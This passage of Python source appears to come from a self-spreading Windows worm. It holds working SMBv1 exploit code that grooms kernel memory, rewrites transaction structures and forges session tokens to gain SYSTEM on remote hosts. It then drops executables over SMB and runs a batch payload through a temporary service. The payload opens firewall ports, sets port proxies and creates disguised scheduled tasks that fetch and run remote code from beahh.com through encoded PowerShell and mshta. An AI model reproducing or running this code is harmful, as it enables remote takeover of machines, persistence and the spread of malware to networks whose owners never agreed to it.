        conn.send_nt_trans_secondary(mid=special_mid)
        leakData = conn.recv_transaction_data(special_mid, 256)
        leakData = leakData[4:]
        if unpack_from('<H', leakData, HEAP_CHUNK_PAD_SIZE)[0] != TRANS_CHUNK_SIZE // info['POOL_ALIGN']:
            print 'chunk size is wrong'
            return False
        leakTranOffset = HEAP_CHUNK_PAD_SIZE + HEAP_HDR_SIZE
        leakTrans = leakData[leakTranOffset:]
        fmt = info['PTR_FMT']
        _, connection_addr, session_addr, treeconnect_addr, flink_value = unpack_from('<' + fmt * 5, leakTrans, 8)
        inparam_value, outparam_value, indata_value = unpack_from('<' + fmt * 3, leakTrans, info['TRANS_INPARAM_OFFSET'])
        trans2_mid = unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
        print ('CONNECTION: 0x{:x}').format(connection_addr)
        print ('SESSION: 0x{:x}').format(session_addr)
        print ('FLINK: 0x{:x}').format(flink_value)
        print ('InData: 0x{:x}').format(indata_value)
        print ('MID: 0x{:x}').format(trans2_mid)
        trans2_addr = inparam_value - info['TRANS_SIZE'] - TRANS_NAME_LEN
        trans1_addr = trans2_addr - TRANS_CHUNK_SIZE * 2
        print ('TRANS1: 0x{:x}').format(trans1_addr)
        print ('TRANS2: 0x{:x}').format(trans2_addr)
        print 'modify transaction struct for arbitrary read/write'
        TRANS_OFFSET = 4294967296L - (info['TRANS_SIZE'] + TRANS_NAME_LEN)
        conn.send_nt_trans_secondary(mid=info['fid'], param=pack('<' + fmt * 3, trans1_addr, trans1_addr + 512, trans2_addr), paramDisplacement=TRANS_OFFSET + info['TRANS_INPARAM_OFFSET'])
        wait_for_request_processed(conn)
        trans1_mid = conn.next_mid()
        conn.send_trans_secondary(mid=info['fid'], param=pack('<H', trans1_mid), paramDisplacement=info['TRANS_MID_OFFSET'])
        wait_for_request_processed(conn)
        info.update({'connection': connection_addr, 'session': session_addr, 'trans1_mid': trans1_mid, 'trans1_addr': trans1_addr, 'trans2_mid': trans2_mid, 'trans2_addr': trans2_addr})
        return True

    def create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr):
        SID_SYSTEM = pack('<BB5xBI', 1, 1, 5, 18)
        SID_ADMINISTRATORS = pack('<BB5xBII', 1, 2, 5, 32, 544)
        SID_AUTHENICATED_USERS = pack('<BB5xBI', 1, 1, 5, 11)
        SID_EVERYONE = pack('<BB5xBI', 1, 1, 1, 0)
        sids = [SID_SYSTEM, SID_ADMINISTRATORS, SID_EVERYONE, SID_AUTHENICATED_USERS]
        attrs = [0, 14, 7, 7]
        fakeUserAndGroupCount = min(userAndGroupCount, 4)
        fakeUserAndGroupsAddr = userAndGroupsAddr
        addr = fakeUserAndGroupsAddr + fakeUserAndGroupCount * info['PTR_SIZE'] * 2
        fakeUserAndGroups = ''
        for sid, attr in zip(sids[:fakeUserAndGroupCount], attrs[:fakeUserAndGroupCount]):
            fakeUserAndGroups += pack('<' + info['PTR_FMT'] * 2, addr, attr)
            addr += len(sid)

        fakeUserAndGroups += ('').join(sids[:fakeUserAndGroupCount])
        return (fakeUserAndGroupCount, fakeUserAndGroups)

    def exploit(target, pipe_name, USERNAME, PASSWORD, tg):
        conn = MYSMB(target)
        conn.get_socket().setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
        info = {}
        conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
        server_os = conn.get_server_os()
        print 'Target OS: ' + server_os
        if server_os.startswith('Windows 7 ') or server_os.startswith('Windows Server 2008 R2'):
            info['os'] = 'WIN7'
            info['method'] = exploit_matched_pairs
        elif server_os.startswith('Windows 8') or server_os.startswith('Windows Server 2012 ') or server_os.startswith('Windows Server 2016 ') or server_os.startswith('Windows 10') or server_os.startswith('Windows RT 9200'):
            info['os'] = 'WIN8'
            info['method'] = exploit_matched_pairs
        elif server_os.startswith('Windows Server (R) 2008') or server_os.startswith('Windows Vista'):
            info['os'] = 'WIN7'
            info['method'] = exploit_fish_barrel
        elif server_os.startswith('Windows Server 2003 '):
            info['os'] = 'WIN2K3'
            info['method'] = exploit_fish_barrel
        elif server_os.startswith('Windows 5.1'):
            info['os'] = 'WINXP'
            info['arch'] = 'x86'
            info['method'] = exploit_fish_barrel
        elif server_os.startswith('Windows XP '):
            info['os'] = 'WINXP'
            info['arch'] = 'x64'
            info['method'] = exploit_fish_barrel
        elif server_os.startswith('Windows 5.0'):
            info['os'] = 'WIN2K'
            info['arch'] = 'x86'
            info['method'] = exploit_fish_barrel
        else:
            print 'This exploit does not support this target'
        if pipe_name is None:
            pipe_name = find_named_pipe(conn)
            if pipe_name is None:
                print 'Not found accessible named pipe'
                return False
            print 'Using named pipe: ' + pipe_name
        if not info['method'](conn, pipe_name, info):
            return False
        fmt = info['PTR_FMT']
        print 'make this SMB session to be SYSTEM'
        write_data(conn, info, info['session'] + info['SESSION_ISNULL_OFFSET'], '\x00\x01')
        sessionData = read_data(conn, info, info['session'], 256)
        secCtxAddr = unpack_from('<' + fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
        if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
            if 'SECCTX_PCTXTHANDLE_OFFSET' in info:
                pctxtDataInfo = read_data(conn, info, secCtxAddr + info['SECCTX_PCTXTHANDLE_OFFSET'], 8)
                pctxtDataAddr = unpack_from('<' + fmt, pctxtDataInfo)[0]
            else:
                pctxtDataAddr = secCtxAddr
            tokenAddrInfo = read_data(conn, info, pctxtDataAddr + info['PCTXTHANDLE_TOKEN_OFFSET'], 8)
            tokenAddr = unpack_from('<' + fmt, tokenAddrInfo)[0]
            print ('current TOKEN addr: 0x{:x}').format(tokenAddr)
            tokenData = read_data(conn, info, tokenAddr, 64 * info['PTR_SIZE'])
            userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset = get_group_data_from_token(info, tokenData)
            print 'overwriting token UserAndGroups'
            fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(conn, info, userAndGroupCount, userAndGroupsAddr)
            if fakeUserAndGroupCount != userAndGroupCount:
                write_data(conn, info, tokenAddr + userAndGroupCountOffset, pack('<I', fakeUserAndGroupCount))
            write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
        else:
            secCtxData = read_data(conn, info, secCtxAddr, info['SECCTX_SIZE'])
            print 'overwriting session security context'
            write_data(conn, info, secCtxAddr, info['FAKE_SECCTX'])
        try:
            smb_pwn(conn, info['arch'], tg)
        except:
            pass

        if 'PCTXTHANDLE_TOKEN_OFFSET' in info:
            userAndGroupsOffset = userAndGroupsAddr - tokenAddr
            write_data(conn, info, userAndGroupsAddr, tokenData[userAndGroupsOffset:userAndGroupsOffset + len(fakeUserAndGroups)])
            if fakeUserAndGroupCount != userAndGroupCount:
                write_data(conn, info, tokenAddr + userAndGroupCountOffset, pack('<I', userAndGroupCount))
        else:
            write_data(conn, info, secCtxAddr, secCtxData)
        conn.disconnect_tree(conn.get_tid())
        conn.logoff()
        conn.get_socket().close()
        time.sleep(2)
        return True

    def validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset):
        userAndGroupCount, RestrictedSidCount = unpack_from('<II', tokenData, userAndGroupCountOffset)
        userAndGroupsAddr, RestrictedSids = unpack_from('<' + info['PTR_FMT'] * 2, tokenData, userAndGroupsAddrOffset)
        success = True
        if RestrictedSidCount != 0 or RestrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0:
            print 'Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!'
            print ('RestrictedSids: 0x{:x}').format(RestrictedSids)
            print ('RestrictedSidCount: 0x{:x}').format(RestrictedSidCount)
            success = False
        print ('userAndGroupCount: 0x{:x}').format(userAndGroupCount)
        print ('userAndGroupsAddr: 0x{:x}').format(userAndGroupsAddr)
        return (success, userAndGroupCount, userAndGroupsAddr)

    def get_group_data_from_token(info, tokenData):
        userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET']
        userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET']
        success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
        if not success and info['os'] == 'WINXP' and info['arch'] == 'x86':
            print 'Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround'
            userAndGroupCountOffset = info['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
            userAndGroupsAddrOffset = info['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
            success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(info, tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
        if not success:
            print 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
        return (
         userAndGroupsAddr, userAndGroupCount, userAndGroupsAddrOffset, userAndGroupCountOffset)

    def smb_pwn(conn, arch, tg):
        ee = ''
        eb = 'c:\\windows\\system32\\calc.exe'
        smbConn = conn.get_smbconnection()
        if os.path.exists('c:/windows/system32/svhost.exe'):
            eb = 'c:\\windows\\system32\\svhost.exe'
        if os.path.exists('c:/windows/SysWOW64/svhost.exe'):
            eb = 'c:\\windows\\SysWOW64\\svhost.exe'
        if os.path.exists('c:/windows/system32/drivers/svchost.exe'):
            eb = 'c:\\windows\\system32\\drivers\\svchost.exe'
        if os.path.exists('c:/windows/SysWOW64/drivers/svchost.exe'):
            eb = 'c:\\windows\\SysWOW64\\drivers\\svchost.exe'
        service_exec(conn, 'cmd /c net share c$=c:')
        if tg == 2:
            smb_send_file(smbConn, eb, 'c', '/installed2.exe')
        else:
            smb_send_file(smbConn, eb, 'c', '/installed.exe')
        if os.path.exists('c:/windows/temp/svvhost.exe'):
            ee = 'c:\\windows\\temp\\svvhost.exe'
        if os.path.exists('c:/windows/temp/svchost.exe'):
            ee = 'c:\\windows\\temp\\svchost.exe'
        if '.exe' in ee:
            smb_send_file(smbConn, ee, 'c', '/windows/temp/svchost.exe')
        else:
            print 'no eb**************************'
        if tg == 2:
            bat = 'cmd /c c:\\installed2.exe&c:\\installed2.exe&echo c:\\installed2.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f  %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
        else:
            bat = 'cmd /c c:\\installed.exe&c:\\installed.exe&echo c:\\installed.exe >c:/windows/temp/p.bat&echo c:\\windows\\temp\\svchost.exe >>c:/windows/temp/p.bat&echo netsh interface ipv6 install >>c:/windows/temp/p.bat &echo netsh firewall add portopening tcp 65532 DNS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo netsh firewall add portopening tcp 65531 DNSS2  >>c:/windows/temp/p.bat&echo netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53 >>c:/windows/temp/p.bat&echo if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\\Microsoft\\windows\\Bluetooths" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F) else start /b sc start Schedule^&ping localhost^&sc query Schedule^|findstr RUNNING^&^&^(schtasks /delete /TN Autocheck /f^&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?p%COMPUTERNAME%"^&schtasks /run /TN Autocheck^) >>c:/windows/temp/p.bat&echo net start Ddriver >>c:/windows/temp/p.bat&echo for /f  %%i in (\'tasklist ^^^| find /c /i "cmd.exe"\'^) do set s=%%i >>c:/windows/temp/p.bat&echo if %s% gtr 10 (shutdown /r) >>c:/windows/temp/p.bat&echo net user k8h3d /del >>c:/windows/temp/p.bat&echo del c:\\windows\\temp\\p.bat>>c:/windows/temp/p.bat&cmd.exe /c c:/windows/temp/p.bat'
        service_exec(conn, bat)

    def smb_send_file(smbConn, localSrc, remoteDrive, remotePath):
        with open(localSrc, 'rb') as fp:
            smbConn.putFile(remoteDrive + '$', remotePath, fp.read)

    def service_exec(conn, cmd):
        import random
        random.choice = random.choice
        random.randint = random.randint
        import string
        from impacket.dcerpc.v5 import transport, srvs, scmr
        service_name = ('').join([random.choice(string.letters) for i in range(4)])
        rpcsvc = conn.get_dce_rpc('svcctl')
        rpcsvc.connect()
        rpcsvc.bind(scmr.MSRPC_UUID_SCMR)
        svcHandle = None
        try:
            try:
                print 'Opening SVCManager on %s.....' % conn.get_remote_host()
                resp = scmr.hROpenSCManagerW(rpcsvc)
                svcHandle = resp['lpScHandle']
                try:
                    resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name + '\x00')
                except Exception as e:
                    if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1:
                        raise e
                else:
                    scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle'])
                    scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle'])

                print 'Creating service %s.....' % service_name
                resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00')
                serviceHandle = resp['lpServiceHandle']
                if serviceHandle:
                    try:
                        print 'Starting service %s.....' % service_name
                        scmr.hRStartServiceW(rpcsvc, serviceHandle)
                        time.sleep(2)
                        print 'Stoping service %s.....' % service_name
                        scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP)
                        time.sleep(2)
                    except Exception as e:
                        print str(e)

                    print 'Removing service %s.....' % service_name
                    scmr.hRDeleteService(rpcsvc, serviceHandle)
                    scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)
            except Exception as e:
                print 'ServiceExec Error on: %s' % conn.get_remote_host()
                print str(e)

        finally:
            if svcHandle:
                scmr.hRCloseServiceHandle(rpcsvc, svcHandle)

        rpcsvc.disconnect()

    scode = ' '
    sc = binascii.unhexlify(scode)
    NTFEA_SIZE = 69632
    ntfea10000 = pack('<BBH', 0, 0, 65501) + 'A' * 65502
    ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00') * 600
    ntfea11000 += pack('<BBH', 0, 0, 62397) + 'A' * 62398
    ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00') * 9364
    ntfea1f000 += pack('<BBH', 0, 0, 18669) + 'A' * 18670
    ntfea = {65536: ntfea10000, 69632: ntfea11000}
    TARGET_HAL_HEAP_ADDR_x64 = 18446744073706405904L
    TARGET_HAL_HEAP_ADDR_x86 = 4292866048L
    fakeSrvNetBufferNsa = pack('<II', 69632, 0) * 2
    fakeSrvNetBufferNsa += pack('<HHI', 65535, 0, 0) * 2
    fakeSrvNetBufferNsa += '\x00' * 16
    fakeSrvNetBufferNsa += pack('<IIII', TARGET_HAL_HEAP_ADDR_x86 + 256, 0, 0, TARGET_HAL_HEAP_ADDR_x86 + 32)
    fakeSrvNetBufferNsa += pack('<IIHHI', TARGET_HAL_HEAP_ADDR_x86 + 256, 0, 96, 4100, 0)
    fakeSrvNetBufferNsa += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86 - 128, 0, TARGET_HAL_HEAP_ADDR_x64)
    fakeSrvNetBufferNsa += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 256, 0)
    fakeSrvNetBufferNsa += pack('<QHHI', 0, 96, 4100, 0)
    fakeSrvNetBufferNsa += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 - 128)
    fakeSrvNetBufferX64 = pack('<II', 69632, 0) * 2
    fakeSrvNetBufferX64 += pack('<HHIQ', 65535, 0, 0, 0)
    fakeSrvNetBufferX64 += '\x00' * 16
    fakeSrvNetBufferX64 += '\x00' * 16
    fakeSrvNetBufferX64 += '\x00' * 16
    fakeSrvNetBufferX64 += pack('<IIQ', 0, 0, TARGET_HAL_HEAP_ADDR_x64)
    fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 256, 0)
    fakeSrvNetBufferX64 += pack('<QHHI', 0, 96, 4100, 0)
    fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 - 128)
    fakeSrvNetBuffer = fakeSrvNetBufferNsa
    feaList = pack('<I', 65536)
    feaList += ntfea[NTFEA_SIZE]
    feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuffer) - 1) + fakeSrvNetBuffer
    feaList += pack('<BBH', 18, 52, 22136)
    fake_recv_struct = pack('<QII', 0, 3, 0)
    fake_recv_struct += '\x00' * 16
    fake_recv_struct += pack('<QII', 0, 3, 0)
    fake_recv_struct += '\x00' * 16 * 7
    fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR_x64 + 160, TARGET_HAL_HEAP_ADDR_x64 + 160)
    fake_recv_struct += '\x00' * 16
    fake_recv_struct += pack('<IIQ', TARGET_HAL_HEAP_ADDR_x86 + 192, TARGET_HAL_HEAP_ADDR_x86 + 192, 0)
    fake_recv_struct += '\x00' * 16 * 11
    fake_recv_struct += pack('<QII', 0, 0, TARGET_HAL_HEAP_ADDR_x86 + 400)
    fake_recv_struct += pack('<IIQ', 0, TARGET_HAL_HEAP_ADDR_x86 + 496 - 1, 0)
    fake_recv_struct += '\x00' * 16 * 3
    fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 + 480)
    fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR_x64 + 496 - 1)

    def getNTStatus(self):
        return self['ErrorCode'] << 16 | self['_reserved'] << 8 | self['ErrorClass']

    setattr(smb.NewSMBPacket, 'getNTStatus', getNTStatus)

    def sendEcho(conn, tid, data):
        pkt = smb.NewSMBPacket()
        pkt['Tid'] = tid
        transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
        transCommand['Parameters'] = smb.SMBEcho_Parameters()
        transCommand['Data'] = smb.SMBEcho_Data()
        transCommand['Parameters']['EchoCount'] = 1
        transCommand['Data']['Data'] = data
        pkt.addCommand(transCommand)
        conn.sendSMB(pkt)
        recvPkt = conn.recvSMB()
        if recvPkt.getNTStatus() == 0:
            print 'got good ECHO response'
        else:
            print ('got bad ECHO response: 0x{:x}').format(recvPkt.getNTStatus())

    def createSessionAllocNonPaged(target, size):
        conn = smb.SMB(target, target)
        _, flags2 = conn.get_flags()
        flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
        if size >= 65535:
            flags2 &= ~smb.SMB.FLAGS2_UNICODE
            reqSize = size // 2
        else:
            flags2 |= smb.SMB.FLAGS2_UNICODE
            reqSize = size
        conn.set_flags(flags2=flags2)
        pkt = smb.NewSMBPacket()
        sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
        sessionSetup['Parameters']['MaxBufferSize'] = 61440
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VcNumber'] = 2
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters']['SecurityBlobLength'] = 0
        sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY
        sessionSetup['Data'] = pack('<H', reqSize) + '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
        pkt.addCommand(sessionSetup)
        conn.sendSMB(pkt)
        recvPkt = conn.recvSMB()
        if recvPkt.getNTStatus() == 0:
            print 'SMB1 session setup allocate nonpaged pool success'
        else:
            print 'SMB1 session setup allocate nonpaged pool failed'
        return conn

    class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
        structure = (
         ('TotalParameterCount', '<H=0'), ('TotalDataCount', '<H'), ('ParameterCount', '<H=0'), ('ParameterOffset', '<H=0'), ('ParameterDisplacement', '<H=0'), ('DataCount', '<H'), ('DataOffset', '<H'), ('DataDisplacement', '<H=0'), ('FID', '<H=0'))

    def send_trans2_second(conn, tid, data, displacement):
        pkt = smb.NewSMBPacket()
        pkt['Tid'] = tid
        transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
        transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
        transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
        transCommand['Parameters']['TotalParameterCount'] = 0
        transCommand['Parameters']['TotalDataCount'] = len(data)
        fixedOffset = 53
        transCommand['Data']['Pad1'] = ''
        transCommand['Parameters']['ParameterCount'] = 0
        transCommand['Parameters']['ParameterOffset'] = 0
        if len(data) > 0:
            pad2Len = (4 - fixedOffset % 4) % 4
            transCommand['Data']['Pad2'] = '\xff' * pad2Len
        else:
            transCommand['Data']['Pad2'] = ''
            pad2Len = 0
        transCommand['Parameters']['DataCount'] = len(data)
        transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
        transCommand['Parameters']['DataDisplacement'] = displacement
        transCommand['Data']['Trans_Parameters'] = ''
        transCommand['Data']['Trans_Data'] = data
        pkt.addCommand(transCommand)
        conn.sendSMB(pkt)

    def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
        pkt = smb.NewSMBPacket()
        pkt['Tid'] = tid
        command = pack('<H', setup)
        transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
        transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
        transCommand['Parameters']['MaxSetupCount'] = 1
        transCommand['Parameters']['MaxParameterCount'] = len(param)
        transCommand['Parameters']['MaxDataCount'] = 0
        transCommand['Data'] = smb.SMBTransaction2_Data()
        transCommand['Parameters']['Setup'] = command
        transCommand['Parameters']['TotalParameterCount'] = len(param)
        transCommand['Parameters']['TotalDataCount'] = len(data)
        fixedOffset = 73 + len(command)
        if len(param) > 0:
            padLen = (4 - fixedOffset % 4) % 4
            padBytes = '\xff' * padLen
            transCommand['Data']['Pad1'] = padBytes
        else:
            transCommand['Data']['Pad1'] = ''
            padLen = 0
        transCommand['Parameters']['ParameterCount'] = len(param)
        transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen
        if len(data) > 0:
            pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
            transCommand['Data']['Pad2'] = '\xff' * pad2Len
        else:
            transCommand['Data']['Pad2'] = ''
            pad2Len = 0
        transCommand['Parameters']['DataCount'] = firstDataFragmentSize
        transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len
        transCommand['Data']['Trans_Parameters'] = param
        transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
        pkt.addCommand(transCommand)
        conn.sendSMB(pkt)
        conn.recvSMB()
        i = firstDataFragmentSize
        while i < len(data):
            sendSize = min(4096, len(data) - i)
            if len(data) - i <= 4096:
                if not sendLastChunk:
                    break
            send_trans2_second(conn, tid, data[i:i + sendSize], i)
            i += sendSize

        if sendLastChunk:
            conn.recvSMB()
        return i

    def createConnectionWithBigSMBFirst80(target):
        sk = socket.create_connection((target, 445))
        pkt = '\x00\x00' + pack('>H', 65527)
        pkt += 'BAAD'
        pkt += '\x00' * 124
        sk.send(pkt)
        return sk

    lock2 = threading.Lock()

    def exploit2(target, shellcode, numGroomConn):
        global lock2
        lock2.acquire()
        conn = smb.SMB(target, target)
        conn.login_standard('', '')
        server_os = conn.get_server_os()
        print 'Target OS: ' + server_os
        if not (server_os.startswith('Windows 7 ') or server_os.startswith('Windows Server ') and ' 2008 ' in server_os or server_os.startswith('Windows Vista')):
            print 'This exploit does not support this target'
        tid = conn.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
        progress = send_big_trans2(conn, tid, 0, feaList, '\x00' * 30, 2000, False)
        allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 4112)
        srvnetConn = []
        for i in range(numGroomConn):
            sk = createConnectionWithBigSMBFirst80(target)
            srvnetConn.append(sk)

        holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 16)
        allocConn.get_socket().close()
        for i in range(5):
            sk = createConnectionWithBigSMBFirst80(target)
            srvnetConn.append(sk)

        holeConn.get_socket().close()
        send_trans2_second(conn, tid, feaList[progress:], progress)
        recvPkt = conn.recvSMB()
        retStatus = recvPkt.getNTStatus()
        if retStatus == 3221225485L:
            print 'good response status: INVALID_PARAMETER'
        else:
            print ('bad response status: 0x{:08x}').format(retStatus)
        for sk in srvnetConn:
            sk.send(fake_recv_struct + shellcode)

        for sk in srvnetConn:
            sk.close()

        conn.disconnect_tree(tid)
        conn.logoff()
        conn.get_socket().close()
        time.sleep(2)
        lock2.release()

    lock3 = threading.Lock()

    def exploit3(target, shellcode, numGroomConn1):
        global lock3
        lock3.acquire()
        conn3 = smb.SMB(target, target)
        conn3.login_standard('', '')
        server_os3 = conn3.get_server_os()
        print 'Target OS: ' + server_os3
        if not (server_os3.startswith('Windows 7 ') or server_os3.startswith('Windows Server ') and ' 2008 ' in server_os3 or server_os3.startswith('Windows Vista')):
            print 'This exploit does not support this target'
        tid3 = conn3.tree_connect_andx('\\\\' + target + '\\' + 'IPC$')
        progress3 = send_big_trans2(conn3, tid3, 0, feaList, '\x00' * 30, 2000, False)
        allocConn3 = createSessionAllocNonPaged(target, NTFEA_SIZE - 4112)
        srvnetConn3 = []
        for i in range(numGroomConn1):
            sk3 = createConnectionWithBigSMBFirst80(target)
            srvnetConn3.append(sk3)

        holeConn3 = createSessionAllocNonPaged(target, NTFEA_SIZE - 16)
        allocConn3.get_socket().close()
        for i in range(5):
            sk3 = createConnectionWithBigSMBFirst80(target)
            srvnetConn3.append(sk3)

        holeConn3.get_socket().close()
        send_trans2_second(conn3, tid3, feaList[progress3:], progress3)
        recvPkt3 = conn3.recvSMB()
        retStatus3 = recvPkt3.getNTStatus()
        if retStatus3 == 3221225485L:
            print 'good response status: INVALID_PARAMETER'
        else:
            print ('bad response status: 0x{:08x}').format(retStatus3)
        for sk3 in srvnetConn3:
            sk3.send(fake_recv_struct + shellcode)

        for sk3 in srvnetConn3:
            sk3.close()

        conn3.disconnect_tree(tid3)
        conn3.logoff()
        conn3.get_socket().close()
        time.sleep(2)
        lock3.release()

    NEGOTIATE_PROTOCOL_REQUEST = binascii.unhexlify('00000085ff534d4272000000001853c00000000000000000000000000000fffe00004000006200025043204e4554574f524b2050524f4752414d20312e3000024c414e4d414e312e30000257696e646f777320666f7220576f726b67726f75707320332e316100024c4d312e325830303200024c414e4d414e322e3100024e54204c4d20302e313200')
    SESSION_SETUP_REQUEST = binascii.unhexlify('00000088ff534d4273000000001807c00000000000000000000000000000fffe000040000dff00880004110a000000000000000100000000000000d40000004b000000000000570069006e0064006f007700730020003200300030003000200032003100390035000000570069006e0064006f007700730020003200300030003000200035002e0030000000')
    TREE_CONNECT_REQUEST = binascii.unhexlify('00000060ff534d4275000000001807c00000000000000000000000000000fffe0008400004ff006000080001003500005c005c003100390032002e003100360038002e003100370035002e003100320038005c00490050004300240000003f3f3f3f3f00')
    NAMED_PIPE_TRANS_REQUEST = binascii.unhexlify('0000004aff534d42250000000018012800000000000000000000000000088ea3010852981000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00')
    timeout = 1
    verbose = 0
    threads_num = 255
    if 'Windows-XP' in platform.platform():
        timeout = 1
        threads_num = 2
        semaphore1 = threading.BoundedSemaphore(value=2)
        semaphore = threading.BoundedSemaphore(value=2)
        semaphore2 = threading.BoundedSemaphore(value=2)
    else:
